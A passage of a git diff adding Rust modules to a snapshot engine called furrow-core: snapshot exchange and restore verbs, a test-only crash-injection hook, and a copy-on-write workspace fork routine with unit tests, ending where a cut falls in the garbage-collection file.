b/engine/furrow-core/src/exchange/materialize.rs new file mode 100644 index 0000000000..46d94f9bd4 --- /dev/null +++ b/engine/furrow-core/src/exchange/materialize.rs @@ -0,0 +1,51 @@ +//! `materialize`: put an imported head on disk. + +use crate::model::{ObjectId, SnapshotTrigger}; +use crate::repository::{FurrowRepository, HeldPath, SealOptions}; +use std::path::{Path, PathBuf}; + +/// Restores `head` into `target`, which may be an empty folder in a data +/// directory that has never seen it. `cell_dir`, when given, receives the +/// sealed `.cell/` entry outside the tree, as a composed rewind does. +/// +/// The folder is attached first, which seals what it holds now (nothing, for +/// an empty one), and the head is then restored over it by the ordinary +/// rewind, so a folder that was not empty is undoable. The head then becomes +/// the workspace head, so the next seal descends from it; its own parent stays +/// with the sender, which makes the chain shallow there. +/// +/// A path whose name this file system cannot keep next to another is not +/// written (see [`crate::name_fold`]); [`materialize_holding`] returns those. +pub fn materialize( + data_dir: &Path, + target: &Path, + cell_dir: Option, + head: ObjectId, +) -> anyhow::Result { + materialize_holding(data_dir, target, cell_dir, head).map(|(head, _)| head) +} + +/// [`materialize`], also answering the paths of the head it did not write +/// because their names collide on this file system, so the caller can record +/// them. +pub fn materialize_holding( + data_dir: &Path, + target: &Path, + cell_dir: Option, + head: ObjectId, +) -> anyhow::Result<(ObjectId, Vec)> { + let options = SealOptions { + changed: None, + overlay: cell_dir, + }; + let (mut repository, _) = FurrowRepository::attach_and_seal_in( + data_dir, + target, + Some("before materialize".to_owned()), + SnapshotTrigger::SyncPull, + options, + )?; + let (_, plan) = repository.rewind(&head, &[], false)?; + repository.adopt_head(&head)?; + Ok((head, plan.held)) +} diff --git a/engine/furrow-core/src/exchange/mod.rs b/engine/furrow-core/src/exchange/mod.rs new file mode 100644 index 0000000000..380dd67a0f --- /dev/null +++ b/engine/furrow-core/src/exchange/mod.rs @@ -0,0 +1,22 @@ +//! Stage 1 verbs that move a snapshot between device-local stores as sealed +//! frames: `export` and `published` on the sending side, `want`, `import` and +//! `materialize` on the receiving side. The engine never touches a network or +//! a key file; a caller carries frames and hands the keys in per call. + +pub mod export; +pub mod fetch; +pub mod frame; +pub mod keys; +pub mod ledger; +pub mod materialize; +pub mod ops; +pub mod survey; + +use crate::repository::store_path; +use crate::store::ObjectStore; +use std::path::Path; + +/// Opens the object store of a data directory, creating it when absent. +pub fn open_store(data_dir: &Path) -> anyhow::Result { + ObjectStore::open(store_path(data_dir)) +} diff --git a/engine/furrow-core/src/exchange/ops.rs b/engine/furrow-core/src/exchange/ops.rs new file mode 100644 index 0000000000..3067758f74 --- /dev/null +++ b/engine/furrow-core/src/exchange/ops.rs @@ -0,0 +1,143 @@ +//! The five verbs as the JSON answers a caller sees. The command line and the +//! daemon both call these, so the two front ends cannot drift apart: each only +//! gathers its arguments and hands them over. + +use super::export::{published, ExportJob}; +use super::fetch::{want, Import}; +use super::ledger::Ledger; +use super::materialize::materialize_holding; +use super::open_store; +use crate::model::{id_hex, parse_id}; +use crate::sealer::{CellSealer, Keys}; +use anyhow::Context; +use serde_json::{json, Value}; +use std::os::unix::ffi::OsStrExt; +use std::path::{Path, PathBuf}; + +pub fn export( + data_dir: &Path, + keys: &Keys, + head: &str, + ledger: &str, + outbox: &Path, + max_frame: usize, +) -> anyhow::Result { + let store = open_store(data_dir)?; + let ledger = Ledger::named(data_dir, ledger)?; + let job = ExportJob { + store: &store, + keys, + head: parse_id(head)?, + ledger: &ledger, + outbox, + max_frame, + }; + Ok(serde_json::to_value(job.run()?)?) +} + +pub fn record_published( + data_dir: &Path, + ledger: &str, + frames: &[PathBuf], +) -> anyhow::Result { + let recorded = published(&Ledger::named(data_dir, ledger)?, frames)?; + Ok(json!({"recorded": recorded})) +} + +pub fn wanted(data_dir: &Path, keys: &Keys, head: &str) -> anyhow::Result { + let rids = want( + &open_store(data_dir)?, + &CellSealer::new(keys), + parse_id(head)?, + )?; + Ok(json!({"want": rids.iter().map(id_hex).collect::>()})) +} + +pub fn import( + data_dir: &Path, + keys: &Keys, + head: &str, + ledger: &str, + inbox: &Path, + mode: ImportMode, +) -> anyhow::Result { + let sealer = CellSealer::new(keys); + let store = open_store(data_dir)?; + let ledger = Ledger::named(data_dir, ledger)?; + let import = Import { + store: &store, + sealer: &sealer, + head: parse_id(head)?, + inbox, + ledger: &ledger, + }; + match mode { + ImportMode::Primed => { + let taken = import.run_primed()?; + Ok(json!({"imported": taken.imported, "extras_deleted": taken.extras_deleted})) + } + ImportMode::Partial => Ok(json!({"imported": import.run_partial()?})), + ImportMode::Strict => Ok(json!({"imported": import.run()?})), + } +} + +/// How `import` treats inbox files the head does not (yet) want. +#[derive(Clone, Copy, PartialEq, Eq, Debug)] +pub enum ImportMode { + Strict, + Primed, + Partial, +} + +impl ImportMode { + /// The mode the two flags name. Priming deletes leftovers and streaming + /// keeps them, so asking for both has no meaning and is refused. + pub fn from_flags(primed: bool, partial: bool) -> anyhow::Result { + match (primed, partial) { + (true, true) => anyhow::bail!("primed and partial cannot be combined"), + (true, false) => Ok(Self::Primed), + (false, true) => Ok(Self::Partial), + (false, false) => Ok(Self::Strict), + } + } +} + +pub fn restore_head( + data_dir: &Path, + tree: &Path, + cell_dir: Option, + head: &str, +) -> anyhow::Result { + let (head, held) = materialize_holding(data_dir, tree, cell_dir, parse_id(head)?)?; + let mut answer = json!({"snapshot": id_hex(&head)}); + if !held.is_empty() { + answer["held"] = serde_json::to_value(&held)?; + } + Ok(answer) +} + +/// Registers the tree now at `to` as the workspace that was at `from`: the +/// folder was moved into place after it was restored, and the engine must +/// still know it by its new path. +pub fn rebind(data_dir: &Path, from: &Path, to: &Path) -> anyhow::Result { + let mut store = open_store(data_dir)?; + let id = store.rebind_workspace( + moved_path(from)?.as_os_str().as_bytes(), + moved_path(to)?.as_os_str().as_bytes(), + )?; + Ok(json!({"workspace": id})) +} + +/// The canonical spelling of a path whose last part may not exist (the folder +/// that moved is gone): the nearest existing ancestor is resolved and the rest +/// is appended, which is how the engine spelled the path when it registered it. +fn moved_path(path: &Path) -> anyhow::Result { + match path.canonicalize() { + Ok(resolved) => Ok(resolved), + Err(_) => { + let name = path.file_name().context("path has no name")?; + let parent = path.parent().context("path has no parent")?; + Ok(moved_path(parent)?.join(name)) + } + } +} diff --git a/engine/furrow-core/src/exchange/survey.rs b/engine/furrow-core/src/exchange/survey.rs new file mode 100644 index 0000000000..549e150490 --- /dev/null +++ b/engine/furrow-core/src/exchange/survey.rs @@ -0,0 +1,79 @@ +//! What of a snapshot a store holds, and what it still lacks. + +use crate::bundle::object_edges; +use crate::model::{ObjectId, ObjectKind}; +use crate::store::ObjectStore; +use std::collections::{HashSet, VecDeque}; + +pub type Object = (ObjectKind, ObjectId); + +/// The objects reachable from a head, split by whether the store has them. +/// Missing objects are not opened, so nothing below them is listed. +#[derive(Default)] +pub struct Survey { + pub present: Vec, + pub missing: Vec, +} + +/// A breadth-first walk that can be resumed. `survey` runs it once; an import +/// keeps it across passes so each pass explores only what the objects it just +/// stored opened up, instead of re-reading every object already walked. +pub struct Walk { + seen: HashSet, + queue: VecDeque, +} + +impl Walk { + pub fn new(head: ObjectId) -> Self { + Self { + seen: HashSet::from([head]), + queue: VecDeque::from([(ObjectKind::Snapshot, head)]), + } + } + + /// Explores until the queue is empty or `missing_limit` objects are known + /// to be absent, and returns what this call newly found. An object absent + /// from the store is reported once and never queued again, so a later call + /// lists only objects that `expand` has since made reachable. + pub fn explore(&mut self, store: &ObjectStore, missing_limit: usize) -> anyhow::Result { + // One maintenance section for the whole exploration: every object read + // inside it reuses the lock and the open pack instead of taking them again. + let _section = store.acquire_maintenance_shared()?; + let mut found = Survey::default(); + while found.missing.len() < missing_limit { + let Some((kind, id)) = self.queue.pop_front() else { + break; + }; + if !store.contains_object(&id)? { + found.missing.push((kind, id)); + continue; + } + found.present.push((kind, id)); + if !is_leaf(kind) { + self.expand(kind, &store.read_bytes(&id, kind)?)?; + } + } + Ok(found) + } + + /// Queues the children of an object whose bytes the caller already holds. + pub fn expand(&mut self, kind: ObjectKind, bytes: &[u8]) -> anyhow::Result<()> { + for (child, child_kind) in object_edges(kind, bytes)? { + if self.seen.insert(child) { + self.queue.push_back((child_kind, child)); + } + } + Ok(()) + } +} + +/// Walks from `head` breadth-first, stopping once `missing_limit` objects are +/// known to be absent. +pub fn survey(store: &ObjectStore, head: ObjectId, missing_limit: usize) -> anyhow::Result { + Walk::new(head).explore(store, missing_limit) +} + +/// Chunks and xattrs are leaves, so they are never opened during a walk. +fn is_leaf(kind: ObjectKind) -> bool { + matches!(kind, ObjectKind::Chunk | ObjectKind::Xattrs) +} diff --git a/engine/furrow-core/src/fault.rs b/engine/furrow-core/src/fault.rs new file mode 100644 index 0000000000..06cb595c24 --- /dev/null +++ b/engine/furrow-core/src/fault.rs @@ -0,0 +1,14 @@ +//! Crash points for the crash-safety tests. A build with the `fault-injection` +//! feature aborts the process, without unwinding, at the point named by +//! `FURROW_FAULT`; every other build compiles the points away. + +#[cfg(feature = "fault-injection")] +pub fn point(name: &str) { + if std::env::var("FURROW_FAULT").is_ok_and(|armed| armed == name) { + std::process::abort(); + } +} + +#[cfg(not(feature = "fault-injection"))] +#[inline(always)] +pub fn point(_name: &str) {} diff --git a/engine/furrow-core/src/fork.rs b/engine/furrow-core/src/fork.rs new file mode 100644 index 0000000000..1b1101780a --- /dev/null +++ b/engine/furrow-core/src/fork.rs @@ -0,0 +1,792 @@ +//! Fast, full-state workspace forks for macOS and Linux. +//! +//! Regular files use the platform's copy-on-write primitive when available and +//! transparently fall back to a streaming copy. The destination is assembled in +//! a sibling staging directory and published with one rename, so callers never +//! observe a partial fork. + +use anyhow::{bail, Context}; +use filetime::{set_file_times, set_symlink_file_times, FileTime}; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::ffi::OsString; +use std::fmt; +use std::fs::{self, File, Metadata, OpenOptions, ReadDir}; +use std::io::{self, Seek, SeekFrom}; +#[cfg(target_os = "linux")] +use std::os::fd::AsRawFd; +use std::os::unix::ffi::OsStrExt; +use std::os::unix::fs::{symlink, FileTypeExt, MetadataExt, PermissionsExt}; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::time::{Duration, Instant}; + +static STAGING_SEQUENCE: AtomicU64 = AtomicU64::new(0); + +/// The least efficient file-copy mechanism used by a fork. +#[derive(Clone, Copy, Debug, Deserialize, Eq, PartialEq, Serialize)] +#[serde(rename_all = "kebab-case")] +pub enum ForkTier { + /// Every unique regular file was created with the native CoW primitive. + NativeCow, + /// Some files used CoW and some required a byte copy. + Mixed, + /// The filesystem did not support CoW and files were copied conventionally. + StreamingCopy, +} + +impl fmt::Display for ForkTier { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::NativeCow => formatter.write_str("native-cow"), + Self::Mixed => formatter.write_str("mixed"), + Self::StreamingCopy => formatter.write_str("streaming-copy"), + } + } +} + +/// Work performed while constructing a workspace fork. +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct ForkReport { + pub tier: ForkTier, + /// Regular-file directory entries, including hard-link aliases. + pub files: u64, + /// Directories, including the workspace root. + pub directories: u64, + pub symlinks: u64, + pub fifos: u64, + /// Runtime-only sockets and unsupported device nodes intentionally omitted. + pub skipped_special: u64, + /// Sum of file lengths as visible through every directory entry. + pub logical_bytes: u64, + /// Logical bytes backed by a newly created CoW clone. + pub cloned_bytes: u64, + /// Bytes physically read and written by the fallback path. + pub copied_bytes: u64, + /// File entries recreated by linking to an inode already forked. + pub hardlinked_files: u64, + pub elapsed: Duration, + /// The platform cloned the hierarchy in one atomic operation. + pub atomic_hierarchy: bool, +} + +#[derive(Default)] +struct Counters { + files: u64, + directories: u64, + symlinks: u64, + fifos: u64, + skipped_special: u64, + logical_bytes: u64, + cloned_bytes: u64, + copied_bytes: u64, + hardlinked_files: u64, + cloned_files: u64, + copied_files: u64, +} + +#[derive(Clone, Copy, Debug, Eq, Hash, PartialEq)] +struct Inode { + device: u64, + number: u64, +} + +struct DirectoryFrame { + source: PathBuf, + destination: PathBuf, + source_metadata: Metadata, + entries: ReadDir, +} + +struct StagingDirectory { + path: PathBuf, + armed: bool, +} + +impl Drop for StagingDirectory { + fn drop(&mut self) { + if self.armed { + let _ = fs::remove_dir_all(&self.path); + } + } +} + +/// Fork `source` into a new `destination` directory. +/// +/// The operation preserves directories, symlinks, executable and permission +/// modes, timestamps, extended attributes, and hard-link relationships. Memory +/// usage is independent of file size: traversal retains one frame per directory +/// depth and one small map entry per multi-linked inode. +pub fn fork_workspace( + source: impl AsRef, + destination: impl AsRef, +) -> anyhow::Result { + fork_workspace_excluding(source, destination, &[]) +} + +pub(crate) fn fork_workspace_excluding( + source: impl AsRef, + destination: impl AsRef, + excluded: &[&Path], +) -> anyhow::Result { + let started = Instant::now(); + let source = source.as_ref(); + let destination = destination.as_ref(); + + let source = source + .canonicalize() + .with_context(|| format!("resolve fork source {}", source.display()))?; + let source_metadata = fs::symlink_metadata(&source) + .with_context(|| format!("stat fork source {}", source.display()))?; + if !source_metadata.is_dir() || source_metadata.file_type().is_symlink() { + bail!("fork source must be a directory: {}", source.display()); + } + if destination.exists() || fs::symlink_metadata(destination).is_ok() { + bail!("fork destination already exists: {}", destination.display()); + } + + let destination_name = destination + .file_name() + .filter(|name| !name.is_empty()) + .context("fork destination must have a final path component")?; + let destination_parent = destination + .parent() + .unwrap_or_else(|| Path::new(".")) + .canonicalize() + .with_context(|| format!("resolve destination parent for {}", destination.display()))?; + let destination = destination_parent.join(destination_name); + if destination.starts_with(&source) || source.starts_with(&destination) { + bail!( + "fork source and destination must not overlap: {} and {}", + source.display(), + destination.display() + ); + } + + let staging_path = unique_staging_path(&destination_parent, destination_name); + #[cfg(target_os = "macos")] + if let Some(report) = try_atomic_hierarchy_clone( + &source, + &staging_path, + &destination, + &destination_parent, + excluded, + started, + )? { + return Ok(report); + } + fs::create_dir(&staging_path) + .with_context(|| format!("create fork staging directory {}", staging_path.display()))?; + let mut staging = StagingDirectory { + path: staging_path.clone(), + armed: true, + }; + + let mut counters = Counters { + directories: 1, + ..Counters::default() + }; + let mut hardlinks = HashMap::::new(); + let root_entries = + fs::read_dir(&source).with_context(|| format!("read fork source {}", source.display()))?; + let mut directories = vec![DirectoryFrame { + source: source.clone(), + destination: staging_path.clone(), + source_metadata, + entries: root_entries, + }]; + + while !directories.is_empty() { + let next = directories + .last_mut() + .expect("directory stack is nonempty") + .entries + .next(); + let Some(entry) = next else { + let completed = directories.pop().expect("directory stack is nonempty"); + apply_metadata( + &completed.source, + &completed.destination, + &completed.source_metadata, + false, + )?; + continue; + }; + + let entry = entry.with_context(|| { + let directory = &directories + .last() + .expect("directory stack is nonempty") + .source; + format!("read directory entry in {}", directory.display()) + })?; + let source_path = entry.path(); + let relative = source_path.strip_prefix(&source)?; + if excluded.contains(&relative) { + continue; + } + let destination_path = directories + .last() + .expect("directory stack is nonempty") + .destination + .join(entry.file_name()); + let metadata = fs::symlink_metadata(&source_path) + .with_context(|| format!("stat {}", source_path.display()))?; + let file_type = metadata.file_type(); + + if file_type.is_dir() { + fs::create_dir(&destination_path) + .with_context(|| format!("create directory {}", destination_path.display()))?; + let entries = fs::read_dir(&source_path) + .with_context(|| format!("read directory {}", source_path.display()))?; + counters.directories += 1; + directories.push(DirectoryFrame { + source: source_path, + destination: destination_path, + source_metadata: metadata, + entries, + }); + } else if file_type.is_file() { + counters.files += 1; + counters.logical_bytes = counters.logical_bytes.saturating_add(metadata.len()); + let inode = Inode { + device: metadata.dev(), + number: metadata.ino(), + }; + + if metadata.nlink() > 1 { + if let Some(existing) = hardlinks.get(&inode) { + fs::hard_link(existing, &destination_path).with_context(|| { + format!( + "recreate hard link {} -> {}", + destination_path.display(), + existing.display() + ) + })?; + counters.hardlinked_files += 1; + continue; + } + } + + let method = clone_or_copy(&source_path, &destination_path) + .with_context(|| format!("fork file {}", source_path.display()))?; + match method { + FileMethod::NativeCow => { + counters.cloned_files += 1; + counters.cloned_bytes = counters.cloned_bytes.saturating_add(metadata.len()); + } + FileMethod::StreamingCopy(bytes) => { + counters.copied_files += 1; + counters.copied_bytes = counters.copied_bytes.saturating_add(bytes); + } + } + apply_metadata(&source_path, &destination_path, &metadata, false)?; + if metadata.nlink() > 1 { + hardlinks.insert(inode, destination_path); + } + } else if file_type.is_symlink() { + let target = fs::read_link(&source_path) + .with_context(|| format!("read symlink {}", source_path.display()))?; + symlink(&target, &destination_path).with_context(|| { + format!( + "create symlink {} -> {}", + destination_path.display(), + target.display() + ) + })?; + apply_metadata(&source_path, &destination_path, &metadata, true)?; + counters.symlinks += 1; + } else if file_type.is_fifo() { + create_fifo(&destination_path, metadata.permissions().mode()) + .with_context(|| format!("create FIFO {}", destination_path.display()))?; + apply_metadata(&source_path, &destination_path, &metadata, false)?; + counters.fifos += 1; + } else { + counters.skipped_special += 1; + } + } + + fs::rename(&staging_path, &destination).with_context(|| { + format!( + "publish fork {} as {}", + staging_path.display(), + destination.display() + ) + })?; + staging.armed = false; + + let tier = match (counters.cloned_files, counters.copied_files) { + (_, 0) => ForkTier::NativeCow, + (0, _) => ForkTier::StreamingCopy, + _ => ForkTier::Mixed, + }; + Ok(ForkReport { + tier, + files: counters.files, + directories: counters.directories, + symlinks: counters.symlinks, + fifos: counters.fifos, + skipped_special: counters.skipped_special, + logical_bytes: counters.logical_bytes, + cloned_bytes: counters.cloned_bytes, + copied_bytes: counters.copied_bytes, + hardlinked_files: counters.hardlinked_files, + elapsed: started.elapsed(), + atomic_hierarchy: false, + }) +} + +#[cfg(target_os = "macos")] +fn try_atomic_hierarchy_clone( + source: &Path, + staging_path: &Path, + destination: &Path, + destination_parent: &Path, + excluded: &[&Path], + started: Instant, +) -> anyhow::Result> { + match native_clone(source, staging_path) { + Ok(()) => {} + Err(_) => { + if staging_path.exists() { + fs::remove_dir_all(staging_path)?; + } + return Ok(None); + } + } + let mut staging = StagingDirectory { + path: staging_path.to_owned(), + armed: true, + }; + for relative in excluded { + anyhow::ensure!( + !relative.is_absolute() + && relative + .components() + .all(|component| matches!(component, std::path::Component::Normal(_))), + "fork exclusion must be a safe relative path" + ); + let path = staging_path.join(relative); + let Ok(metadata) = fs::symlink_metadata(&path) else { + continue; + }; + if metadata.is_dir() && !metadata.file_type().is_symlink() { + fs::remove_dir_all(path)?; + } else { + fs::remove_file(path)?; + } + } + repair_directory_metadata(source, staging_path, excluded)?; + let (counters, source_has_hardlinks) = measure_cloned_hierarchy(source, staging_path)?; + if source_has_hardlinks || counters.skipped_special > 0 { + return Ok(None); + } + fs::rename(staging_path, destination) + .with_context(|| format!("publish fork {}", destination.display()))?; + File::open(destination_parent)?.sync_all()?; + staging.armed = false; + Ok(Some(ForkReport { + tier: ForkTier::NativeCow, + files: counters.files, + directories: counters.directories, + symlinks: counters.symlinks, + fifos: counters.fifos, + skipped_special: counters.skipped_special, + logical_bytes: counters.logical_bytes, + cloned_bytes: counters.logical_bytes, + copied_bytes: 0, + hardlinked_files: counters.hardlinked_files, + elapsed: started.elapsed(), + atomic_hierarchy: true, + })) +} + +#[cfg(target_os = "macos")] +fn repair_directory_metadata( + source: &Path, + destination: &Path, + excluded: &[&Path], +) -> anyhow::Result<()> { + struct Frame { + source: PathBuf, + destination: PathBuf, + metadata: Metadata, + entries: ReadDir, + } + + let metadata = fs::symlink_metadata(source)?; + let mut stack = vec![Frame { + source: source.to_owned(), + destination: destination.to_owned(), + metadata, + entries: fs::read_dir(source)?, + }]; + while let Some(frame) = stack.last_mut() { + let Some(entry) = frame.entries.next() else { + let completed = stack.pop().expect("directory stack is nonempty"); + apply_metadata( + &completed.source, + &completed.destination, + &completed.metadata, + false, + )?; + continue; + }; + let entry = entry?; + let metadata = fs::symlink_metadata(entry.path())?; + if metadata.is_dir() && !metadata.file_type().is_symlink() { + let relative = entry.path().strip_prefix(source)?.to_owned(); + if excluded.contains(&relative.as_path()) { + continue; + } + let destination = destination.join(relative); + stack.push(Frame { + source: entry.path(), + destination, + metadata, + entries: fs::read_dir(entry.path())?, + }); + } + } + Ok(()) +} + +#[cfg(target_os = "macos")] +fn measure_cloned_hierarchy(source: &Path, root: &Path) -> anyhow::Result<(Counters, bool)> { + let mut counters = Counters { + directories: 1, + ..Counters::default() + }; + let mut directories = vec![fs::read_dir(root)?]; + let mut hardlinks = std::collections::HashSet::::new(); + let mut source_has_hardlinks = false; + while let Some(entries) = directories.last_mut() { + let Some(entry) = entries.next() else { + directories.pop(); + continue; + }; + let entry = entry?; + let metadata = fs::symlink_metadata(entry.path())?; + let file_type = metadata.file_type(); + if file_type.is_dir() { + counters.directories += 1; + directories.push(fs::read_dir(entry.path())?); + } else if file_type.is_file() { + counters.files += 1; + counters.logical_bytes = counters.logical_bytes.saturating_add(metadata.len()); + if metadata.nlink() > 1 + && !hardlinks.insert(Inode { + device: metadata.dev(), + number: metadata.ino(), + }) + { + counters.hardlinked_files += 1; + } + let relative = entry.path().strip_prefix(root)?.to_owned(); + if fs::symlink_metadata(source.join(relative))?.nlink() > 1 { + source_has_hardlinks = true; + } + } else if file_type.is_symlink() { + counters.symlinks += 1; + } else if file_type.is_fifo() { + counters.fifos += 1; + } else { + counters.skipped_special += 1; + fs::remove_file(entry.path())?; + } + } + Ok((counters, source_has_hardlinks)) +} + +fn create_fifo(path: &Path, mode: u32) -> io::Result<()> { + use std::ffi::CString; + + let path = CString::new(path.as_os_str().as_bytes()) + .map_err(|_| io::Error::new(io::ErrorKind::InvalidInput, "FIFO path contains NUL"))?; + // SAFETY: the C string is valid for the call and mkfifo does not retain it. + if unsafe { libc::mkfifo(path.as_ptr(), mode as libc::mode_t) } == 0 { + Ok(()) + } else { + Err(io::Error::last_os_error()) + } +} + +fn unique_staging_path(parent: &Path, destination_name: &std::ffi::OsStr) -> PathBuf { + loop { + let sequence = STAGING_SEQUENCE.fetch_add(1, Ordering::Relaxed); + let mut name = OsString::from("."); + name.push(destination_name); + name.push(format!(".furrow-fork-{}-{sequence}", std::process::id())); + let candidate = parent.join(name); + if fs::symlink_metadata(&candidate).is_err() { + return candidate; + } + } +} + +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +enum FileMethod { + NativeCow, + StreamingCopy(u64), +} + +/// Attempt a native copy-on-write clone of a single regular file. Returns +/// `false` (leaving `destination` absent) when the platform or filesystem +/// does not support cloning, so a caller with another source of truth for +/// the same content — such as an object store — can fall back to it instead +/// of a byte-for-byte streaming copy. +pub(crate) fn try_clone_file(source: &Path, destination: &Path) -> bool { + match native_clone(source, destination) { + Ok(()) => true, + Err(_) => { + // clonefile may leave a destination behind for some error classes. + let _ = fs::remove_file(destination); + false + } + } +} + +fn clone_or_copy(source: &Path, destination: &Path) -> io::Result { + match native_clone(source, destination) { + Ok(()) => Ok(FileMethod::NativeCow), + Err(_) => { + // clonefile may leave a destination behind for some error classes. + match fs::remove_file(destination) { + Ok(()) => {} + Err(error) if error.kind() == io::ErrorKind::NotFound => {} + Err(error) => return Err(error), + } + streaming_copy(source, destination).map(FileMethod::StreamingCopy) + } + } +} + +#[cfg(target_os = "macos")] +fn native_clone(source: &Path, destination: &Path) -> io::Result<()> { + use std::ffi::CString; + + let source = CString::new(source.as_os_str().as_bytes()) + .map_err(|_| io::Error::new(io::ErrorKind::InvalidInput, "source path contains NUL"))?; + let destination = CString::new(destination.as_os_str().as_bytes()).map_err(|_| { + io::Error::new(io::ErrorKind::InvalidInput, "destination path contains NUL") + })?; + // SAFETY: both C strings live for the call and clonefile does not retain them. + let result = unsafe { libc::clonefile(source.as_ptr(), destination.as_ptr(), 0) }; + if result == 0 { + Ok(()) + } else { + Err(io::Error::last_os_error()) + } +} + +#[cfg(target_os = "linux")] +fn native_clone(source: &Path, destination: &Path) -> io::Result<()> { + let source = File::open(source)?; + let destination = OpenOptions::new() + .write(true) + .create_new(true) + .open(destination)?; + // SAFETY: both descriptors are valid for the duration of the ioctl. FICLONE + // does not retain either descriptor. + let result = unsafe { + libc::ioctl( + destination.as_raw_fd(), + libc::FICLONE as libc::c_ulong, + source.as_raw_fd(), + ) + }; + if result == 0 { + Ok(()) + } else { + Err(io::Error::last_os_error()) + } +} + +#[cfg(not(any(target_os = "macos", target_os = "linux")))] +fn native_clone(_source: &Path, _destination: &Path) -> io::Result<()> { + Err(io::Error::new( + io::ErrorKind::Unsupported, + "native CoW cloning is only supported on macOS and Linux", + )) +} + +fn streaming_copy(source: &Path, destination: &Path) -> io::Result { + let mut destination = OpenOptions::new() + .write(true) + .create_new(true) + .open(destination)?; + let mut last_length = 0; + + for _ in 0..3 { + let mut source = File::open(source)?; + let before = source.metadata()?; + destination.set_len(0)?; + destination.seek(SeekFrom::Start(0))?; + last_length = io::copy(&mut source, &mut destination)?; + let after = source.metadata()?; + if stable_file(&before, &after) && last_length == after.len() { + return Ok(last_length); + } + } + + Err(io::Error::other(format!( + "source changed repeatedly while copying ({last_length} bytes in last attempt)" + ))) +} + +fn stable_file(before: &Metadata, after: &Metadata) -> bool { + before.dev() == after.dev() + && before.ino() == after.ino() + && before.len() == after.len() + && before.mtime() == after.mtime() + && before.mtime_nsec() == after.mtime_nsec() +} + +fn apply_metadata( + source: &Path, + destination: &Path, + metadata: &Metadata, + symlink_path: bool, +) -> anyhow::Result<()> { + copy_xattrs(source, destination)?; + let accessed = FileTime::from_last_access_time(metadata); + let modified = FileTime::from_last_modification_time(metadata); + if symlink_path { + set_symlink_file_times(destination, accessed, modified) + .with_context(|| format!("set symlink times on {}", destination.display()))?; + } else { + fs::set_permissions( + destination, + fs::Permissions::from_mode(metadata.permissions().mode()), + ) + .with_context(|| format!("set mode on {}", destination.display()))?; + set_file_times(destination, accessed, modified) + .with_context(|| format!("set times on {}", destination.display()))?; + } + Ok(()) +} + +fn copy_xattrs(source: &Path, destination: &Path) -> anyhow::Result<()> { + let names = xattr::list(source) + .with_context(|| format!("list extended attributes on {}", source.display()))?; + for name in names { + if let Some(value) = xattr::get(source, &name).with_context(|| { + format!("read extended attribute {:?} on {}", name, source.display()) + })? { + if xattr::get(destination, &name).with_context(|| { + format!( + "read existing extended attribute {:?} on {}", + name, + destination.display() + ) + })? == Some(value.clone()) + { + continue; + } + xattr::set(destination, &name, &value).with_context(|| { + format!( + "set extended attribute {:?} on {}", + name, + destination.display() + ) + })?; + } + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::os::unix::fs::PermissionsExt; + + #[test] + fn forks_files_links_modes_and_xattrs() { + let temporary = tempfile::tempdir().unwrap(); + let source = temporary.path().join("source"); + let destination = temporary.path().join("fork"); + fs::create_dir(&source).unwrap(); + fs::create_dir(source.join("nested")).unwrap(); + fs::write(source.join("nested/tool"), b"#!/bin/sh\necho fork\n").unwrap(); + fs::set_permissions( + source.join("nested/tool"), + fs::Permissions::from_mode(0o751), + ) + .unwrap(); + fs::hard_link(source.join("nested/tool"), source.join("tool-alias")).unwrap(); + symlink("nested/tool", source.join("tool-link")).unwrap(); + xattr::set(source.join("nested/tool"), "user.furrow-fork-test", b"kept").unwrap(); + + let report = fork_workspace(&source, &destination).unwrap(); + + assert_eq!( + fs::read(destination.join("nested/tool")).unwrap(), + b"#!/bin/sh\necho fork\n" + ); + assert_eq!( + fs::read_link(destination.join("tool-link")).unwrap(), + Path::new("nested/tool") + ); + assert_eq!( + fs::metadata(destination.join("nested/tool")) + .unwrap() + .permissions() + .mode() + & 0o777, + 0o751 + ); + assert_eq!( + xattr::get(destination.join("nested/tool"), "user.furrow-fork-test").unwrap(), + Some(b"kept".to_vec()) + ); + assert_eq!( + fs::metadata(destination.join("nested/tool")).unwrap().ino(), + fs::metadata(destination.join("tool-alias")).unwrap().ino() + ); + assert_eq!(report.files, 2); + assert_eq!(report.directories, 2); + assert_eq!(report.symlinks, 1); + assert_eq!(report.hardlinked_files, 1); + } + + #[test] + fn rejects_existing_or_nested_destinations_without_mutation() { + let temporary = tempfile::tempdir().unwrap(); + let source = temporary.path().join("source"); + fs::create_dir(&source).unwrap(); + fs::write(source.join("kept"), b"data").unwrap(); + + let nested = source.join("nested"); + let error = fork_workspace(&source, &nested).unwrap_err(); + assert!(error.to_string().contains("must not overlap")); + assert!(!nested.exists()); + + let existing = temporary.path().join("existing"); + fs::create_dir(&existing).unwrap(); + let error = fork_workspace(&source, &existing).unwrap_err(); + assert!(error.to_string().contains("already exists")); + assert!(source.join("kept").exists()); + } + + #[cfg(target_os = "macos")] + #[test] + fn atomic_hierarchy_fast_path_preserves_directory_metadata() { + let temporary = tempfile::tempdir().unwrap(); + let source = temporary.path().join("source"); + let destination = temporary.path().join("destination"); + fs::create_dir_all(source.join("nested/deep")).unwrap(); + fs::write(source.join("nested/deep/file"), b"atomic clone").unwrap(); + let report = fork_workspace(&source, &destination).unwrap(); + assert!(report.atomic_hierarchy); + assert_eq!( + fs::metadata(source.join("nested")).unwrap().mtime_nsec(), + fs::metadata(destination.join("nested")) + .unwrap() + .mtime_nsec() + ); + assert_eq!( + fs::read(destination.join("nested/deep/file")).unwrap(), + b"atomic clone" + ); + } +} diff --git a/engine/furrow-core/src/gc.rs b/engine/furrow-core/src/gc.rs new file mode 100644 index 0000000000..f300bf1243 --- /dev/null +++ b/engine/furrow-core/src/gc.rs @@ -0,0 +1,1156 @@ +//! Exact, bounded-memory reachability collection for the global object store. + +use crate::catalog::PackCheckpoint; +use crate::content_class::{classify, ContentClass}; +use crate::model::{Blob, EntryKind, ObjectId, ObjectKind, Snapshot, Tree}; +use crate::refs::RefLog; +use crate::retention::RetentionLog; +use crate::store::ObjectStore; +use anyhow::Context; +use rusqlite::{params, Connection, OptionalExtension}; +use serde::{Deserialize, Serialize}; +use std::fs::{self, File, 